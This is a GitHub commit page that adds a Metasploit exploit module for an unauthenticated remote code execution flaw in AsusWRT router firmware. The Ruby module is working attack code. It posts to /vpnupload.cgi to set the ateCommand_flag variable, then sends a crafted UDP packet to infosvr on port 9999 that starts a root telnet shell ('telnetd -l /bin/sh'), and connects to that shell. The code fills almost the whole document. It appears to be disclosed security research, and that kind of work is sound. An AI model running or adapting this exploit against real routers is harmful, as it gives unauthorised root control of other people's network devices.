Skip to content

Commit c1fe355

Browse files
author
Pedro Ribeiro
authored
Create exploit for AsusWRT LAN RCE
1 parent 441a875 commit c1fe355

File tree

1 file changed

+129
-0
lines changed

1 file changed

+129
-0
lines changed
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::Udp
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
15+
'Description' => %q{
16+
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
17+
perform a POST in certain cases. This can be combined with another vulnerability in
18+
the VPN configuration upload routine that sets NVRAM configuration variables directly
19+
from the POST request to enable a special command mode.
20+
This command mode can then be abused by sending a UDP packet to infosvr, which is running
21+
on port UDP 9999 to directly execute commands as root.
22+
This exploit leverages that to start telnetd in a random port, and then connects to it.
23+
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
24+
},
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
33+
['URL', 'GITHUB']
34+
],
35+
'Targets' =>
36+
[
37+
[ 'AsusWRT < v3.0.0.4.384.10007',
38+
{
39+
'Payload' =>
40+
{
41+
'Compat' => {
42+
'PayloadType' => 'cmd_interact',
43+
'ConnectionType' => 'find',
44+
},
45+
},
46+
}
47+
],
48+
],
49+
'Privileged' => true,
50+
'Platform' => 'unix',
51+
'Arch' => ARCH_CMD,
52+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
53+
'DisclosureDate' => 'Jan 22 2018',
54+
'DefaultTarget' => 0))
55+
register_options(
56+
[
57+
Opt::RPORT(9999)
58+
])
59+
60+
register_advanced_options(
61+
[
62+
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
63+
])
64+
end
65+
66+
def exploit
67+
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
68+
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
69+
post_data = Rex::MIME::Message.new
70+
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
71+
72+
data = post_data.to_s
73+
74+
res = send_request_cgi({
75+
'uri' => "/vpnupload.cgi",
76+
'method' => 'POST',
77+
'rport' => datastore['ASUSWRTPORT'],
78+
'data' => data,
79+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
80+
})
81+
82+
if res and res.code == 200
83+
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
84+
else
85+
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
86+
end
87+
88+
89+
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
90+
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
91+
r = Random.new
92+
93+
ibox_comm_pkt_hdr_ex =
94+
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
95+
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
96+
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
97+
r.bytes(4) + # Info, don't know what this is
98+
r.bytes(6) + # MAC address
99+
r.bytes(32) # Password
100+
101+
telnet_port = rand((2**16)-1024)+1024
102+
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
103+
pkt_syscmd =
104+
[cmd.length,0x00].pack('C*') + # cmd length
105+
cmd # our command
106+
107+
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
108+
109+
connect_udp
110+
udp_sock.put(pkt_final) # we could process the response, but we don't care
111+
disconnect_udp
112+
113+
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
114+
sleep(10)
115+
116+
begin
117+
ctx = { 'Msf' => framework, 'MsfExploit' => self }
118+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
119+
if not sock.nil?
120+
print_good("#{peer} - Success, shell incoming!")
121+
return handler(sock)
122+
end
123+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
124+
sock.close if sock
125+
end
126+
127+
print_bad("#{peer} - Well that didn't work... try again?")
128+
end
129+
end

0 commit comments

Comments
 (0)